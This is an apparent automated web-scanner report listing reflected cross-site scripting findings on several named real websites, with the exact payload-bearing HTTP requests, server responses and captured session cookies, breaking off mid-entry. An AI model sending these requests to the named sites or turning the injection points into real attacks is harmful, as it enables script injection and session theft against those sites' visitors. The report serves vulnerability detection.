GET /news/detail.aspx?news=15409eb11'-alert(1)-'81ed8e1df91 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.87. http://www.cov.com/newsandevents [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/newsandevents
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f75a8'-alert(1)-'99f649b592f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /newsandevents?f75a8'-alert(1)-'99f649b592f=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.88. http://www.cov.com/offices [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/offices
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2c98b'-alert(1)-'fd3b25fecf2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /offices?2c98b'-alert(1)-'fd3b25fecf2=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.89. http://www.cov.com/practice [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/practice
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f4da1'-alert(1)-'610b8b730dc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /practice?f4da1'-alert(1)-'610b8b730dc=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.90. http://www.cov.com/practice/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/practice/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c53e5'-alert(1)-'9529b8f7a51 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
4.91. http://www.cov.com/privacypolicy [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/privacypolicy
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload df5e0'-alert(1)-'cd34e2cebf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /privacypolicy?df5e0'-alert(1)-'cd34e2cebf=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.92. http://www.cov.com/probonooverview [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/probonooverview
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb241'-alert(1)-'14889ea6214 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /probonooverview?eb241'-alert(1)-'14889ea6214=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.93. http://www.cov.com/publications [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/publications
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 37aa1'-alert(1)-'7b6396f21de was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /publications?37aa1'-alert(1)-'7b6396f21de=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.94. http://www.cov.com/recruitingthebestandbrightest [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/recruitingthebestandbrightest
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c57c0'-alert(1)-'7612bb35499 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /recruitingthebestandbrightest?c57c0'-alert(1)-'7612bb35499=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html> <head> <title id="ctl00_htmlTitle">Covington & Burling LLP | Diversity | Recruiting the Best & Brightest</title> ...[SNIP]... ecruitingthebestandbrightest/' + document.aspnetForm.action;var myForm=document.forms['aspnetForm'];if(!myForm){myForm=document.aspnetForm;}myForm.action='/recruitingthebestandbrightest/Diversity.aspx?c57c0'-alert(1)-'7612bb35499=1';//]]> ...[SNIP]...
4.95. http://www.cov.com/retainingourdiversetalent [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/retainingourdiversetalent
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1c13f'-alert(1)-'a38ede21cf4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /retainingourdiversetalent?1c13f'-alert(1)-'a38ede21cf4=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html> <head> <title id="ctl00_htmlTitle">Covington & Burling LLP | Diversity | Retaining Our Diverse Talent</title>
...[SNIP]... on = '/retainingourdiversetalent/' + document.aspnetForm.action;var myForm=document.forms['aspnetForm'];if(!myForm){myForm=document.aspnetForm;}myForm.action='/retainingourdiversetalent/Diversity.aspx?1c13f'-alert(1)-'a38ede21cf4=1';//]]> ...[SNIP]...
4.96. http://www.cov.com/sitemap [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/sitemap
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a6862'-alert(1)-'2791e98804b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sitemap?a6862'-alert(1)-'2791e98804b=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.97. http://www.cov.com/termsofuse [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/termsofuse
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ce89f'-alert(1)-'5ebc528209d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /termsofuse?ce89f'-alert(1)-'5ebc528209d=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1edc1"-alert(1)-"8a5e635d48 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /USA1edc1"-alert(1)-"8a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law HTTP/1.1 Host: www.csmonitor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.12 (Ubuntu) X-Powered-By: eZ Publish Pragma: no-cache Last-Modified: Wed, 19 Jan 2011 15:47:57 GMT Served-by: Content-Language: en-US Status: 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: public, must-revalidate, max-age=86400 Expires: Thu, 20 Jan 2011 15:47:57 GMT Date: Wed, 19 Jan 2011 15:47:57 GMT Content-Length: 22010 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 53b36"-alert(1)-"11f428f14f7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /USA/Justice53b36"-alert(1)-"11f428f14f7/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law HTTP/1.1 Host: www.csmonitor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.12 (Ubuntu) X-Powered-By: eZ Publish Pragma: no-cache Last-Modified: Wed, 19 Jan 2011 15:48:02 GMT Served-by: Content-Language: en-US Status: 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: public, must-revalidate, max-age=86400 Expires: Thu, 20 Jan 2011 15:48:03 GMT Date: Wed, 19 Jan 2011 15:48:03 GMT Content-Length: 22012 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 10b9d"-alert(1)-"77d9442451f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /USA/Justice/201110b9d"-alert(1)-"77d9442451f/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law HTTP/1.1 Host: www.csmonitor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.12 (Ubuntu) X-Powered-By: eZ Publish Pragma: no-cache Last-Modified: Wed, 19 Jan 2011 15:48:08 GMT Served-by: Content-Language: en-US Status: 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: public, must-revalidate, max-age=86400 Expires: Thu, 20 Jan 2011 15:48:08 GMT Date: Wed, 19 Jan 2011 15:48:08 GMT Content-Length: 22012 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 133fa"-alert(1)-"9a2b6004857 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /USA/Justice/2011/0118133fa"-alert(1)-"9a2b6004857/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law HTTP/1.1 Host: www.csmonitor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.12 (Ubuntu) X-Powered-By: eZ Publish Pragma: no-cache Last-Modified: Wed, 19 Jan 2011 15:48:15 GMT Served-by: Content-Language: en-US Status: 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: public, must-revalidate, max-age=86400 Expires: Thu, 20 Jan 2011 15:48:15 GMT Date: Wed, 19 Jan 2011 15:48:15 GMT Content-Length: 22012 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12fdc"-alert(1)-"b91d9019faa was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /USA/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law12fdc"-alert(1)-"b91d9019faa HTTP/1.1 Host: www.csmonitor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.12 (Ubuntu) X-Powered-By: eZ Publish Pragma: no-cache Last-Modified: Wed, 19 Jan 2011 15:48:20 GMT Served-by: Content-Language: en-US Status: 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: public, must-revalidate, max-age=86367 Expires: Thu, 20 Jan 2011 15:47:47 GMT Date: Wed, 19 Jan 2011 15:48:20 GMT Content-Length: 22012 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d392"><script>alert(1)</script>ceb88aaba32 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /chamber6d392"><script>alert(1)</script>ceb88aaba32/memberDetail.asp HTTP/1.1 Host: www.dcchamber.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Wed, 19 Jan 2011 15:48:15 GMT Server: Apache/2.0.63 (Red Hat) Set-Cookie: PHPSESSID=0ilpmfogoftmdtsc2djk1fdtm3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>DC Chamber of Commer ...[SNIP]... <a href="/chamber6d392"><script>alert(1)</script>ceb88aaba32/memberDetail.aspindex.php?src=gendocs&ref=ERROR&link=ERROR&login="> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12668"><script>alert(1)</script>2f451230e52 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /chamber/memberDetail.asp12668"><script>alert(1)</script>2f451230e52 HTTP/1.1 Host: www.dcchamber.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Wed, 19 Jan 2011 15:48:20 GMT Server: Apache/2.0.63 (Red Hat) Set-Cookie: PHPSESSID=pkp73ol8c1315pd6btr3ijgkr3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>DC Chamber of Commer ...[SNIP]... <a href="/chamber/memberDetail.asp12668"><script>alert(1)</script>2f451230e52index.php?src=gendocs&ref=ERROR&link=ERROR&login="> ...[SNIP]...
The value of the db request parameter is copied into the HTML document as plain text between tags. The payload e00cf<script>alert(1)</script>182e67954d6 was submitted in the db parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/classifieds/classifieds.cgi?db=rentalse00cf<script>alert(1)</script>182e67954d6 HTTP/1.1 Host: www.dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:48:03 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Connection: close Content-Type: text/html Content-Length: 528
We're sorry, but the script was unable to require /usr/home/dcreg/public_html/www.dcregistry.com/cgi-bin/classifieds/db/rentalse00cf<script>alert(1)</script>182e67954d6.db at line 215 in classifieds.cgi. Please make sure that these files exist, that you have the path set correctly, and that the permissions are set properly. This message could also indicate that a s ...[SNIP]...
4.106. http://www.ebglaw.com/showoffice.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebglaw.com
Path:
/showoffice.aspx
Issue detail
